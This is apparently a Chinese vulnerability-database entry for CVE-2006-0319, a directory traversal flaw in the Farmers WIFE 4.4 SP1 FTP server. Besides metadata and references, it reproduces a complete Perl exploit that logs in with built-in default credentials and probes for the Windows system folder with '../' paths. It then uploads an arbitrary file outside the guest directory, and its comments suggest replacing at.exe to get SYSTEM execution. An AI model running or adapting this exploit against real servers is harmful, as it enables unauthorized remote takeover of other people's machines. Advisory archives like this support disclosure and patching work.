Farmers WIFE FTP服务器目录遍历漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1109632 漏洞类型 路径遍历
发布时间 2006-01-14 更新时间 2006-01-20
CVE编号 CVE-2006-0319 CNNVD-ID CNNVD-200601-212
漏洞平台 Windows CVSS评分 5.0
|漏洞来源
https://www.exploit-db.com/exploits/1417
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200601-212
|漏洞详情
DirectorytraversalvulnerabilityintheFTPserver(port22003/tcp)FarmersWIFE4.4SP1的FTP服务器(端口22003/tcp)中存在目录遍历漏洞,可让远程攻击者可以通过(1)PUT、(2)SIZE以及可能的其他命令中的".."(两点)序列创建任意文件。
|漏洞EXP
#!/usr/bin/perl
# kokanin 20060106 // farmers wife server 4.4 sp1 allows us to 
# use ../../../ patterns as long as we stand in a folder where we have write access.
# haha, that's what you get for implementing your own access control instead of relying on the underlying OS.
# default port is 22003, default writable path is /guests.

# 0day 0day, private, distribute and die bla bla bla
# leet (translated) note from <anonymized>: you can log in as IEUser/mail@mail.com or anonymous/mail@mail.com
# on _all_ farmers wife servers. This can't be disabled unless you turn off FTP access. The anonymous
# login gives you guest access, which means write access to /guests, which means default remote 'root'
# aka SYSTEM access. Ha ha ha, thanks anonymized, I missed that bit.


if(!$ARGV[0]){ die "Usage: ./thisscript.pl <ip> [user] [pass] [port] [path] [trojan.exe] [/path/to/target.exe] \n";}
# as in: ./thisscript.pl 123.45.67.89 demo demo 22003 /writablepath /etc/hosts /owned.txt
# by default we just put /etc/hosts in a file called owned.txt in the root of the drive - 
# nuke %SYSTEMROOT%\system32\at.exe and wait for windows to run it.

# We can check for the %SYSTEMROOT% with the SIZE command to determine the proper
# location for our trojan.

use Net::FTP;
my $target = $ARGV[0];
my $dotdot = "../../../../../../../../../../../../../../";
# Here we set defaults (It's ugly, I know) that gives REMOTE REWT OMGOMG I MEAN SYSTEM
if($ARGV[1]){ $user = $ARGV[1] } else { $user = "IEUser";}
if($ARGV[2]){ $pass = $ARGV[2] } else { $pass = "mail\@mail.com";}
if($ARGV[3]){ $port = $ARGV[3] } else { $port = "22003";}
if($ARGV[4]){ $writablepath = $ARGV[4] } else { $writablepath = "/guests";}
if($ARGV[5]){ $trojan = $ARGV[5] } else { $trojan = "/etc/hosts";}
if($ARGV[6]){ $destination = $ARGV[6] } else { $destination = "owned.txt";}
print " target: $target \n user: $user \n pass: $pass \n port: $port \n writable path: $writablepath \n trojan: $trojan \n targetfile: $destination \n";

# Open the command socket
use Net::FTP;
$ftp = Net::FTP->new("$target",
                      Debug => 0,
                      Port => "$port")
	or die "Cannot connect: $@";
	$ftp->login("$user","$pass")
	or die "Cannot login ", $ftp->message;
	$ftp->cwd("$writablepath")
	# this software is so shitty, it allows us to CWD to any folder and just pukes later if it's not there.
	or die "Cannot go to writable dir ", $ftp->message;
	# leet %SYSTEMROOT% scan by determining where at.exe is using SIZE
	my @systemroots = ("PUNIX","WINXP","WINNT","WIN2000","WIN2K","WINDOWS","WINDOZE");
	for(@systemroots){
		$reply = $ftp->quot("SIZE " . $dotdot . $_ . "/system32/at.exe");
		if($reply == 2) { print " %SYSTEMROOT% is /$_\n";my $systemroot=$_; }
		}
	$ftp->binary;
	$ftp->put("$trojan","$dotdot"."$destination")
	and print "file successfully uploaded, donate money to kokanin\@gmail.com\n" or die "Something messed up, file upload failed ", $ftp->message;
$ftp->quit;

# milw0rm.com [2006-01-14]
|参考资料

来源:OSVDB
名称:22496
链接:http://www.osvdb.org/22496
来源:MISC
链接:http://www.lort.dk/DSR-farmerswife44sp1.pl
来源:SECUNIA
名称:18508
链接:http://secunia.com/advisories/18508
来源:FULLDISC
名称:20060113Farmerswife4.4sp1remoteSYSTEMaccess
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=113717162320654&w=2
来源:FULLDISC
名称:20060113Farmerswife4.4sp1remoteSYSTEMaccess
链接:http://marc.theaimsgroup.com/?l=full-disclosure&m=113717162320654&w=2
来源:XF
名称:farmerswife-ftp-directory-traversal(24190)
链接:http://xforce.iss.net/xforce/xfdb/24190
来源:BID
名称:16321
链接:http://www.securityfocus.com/bid/16321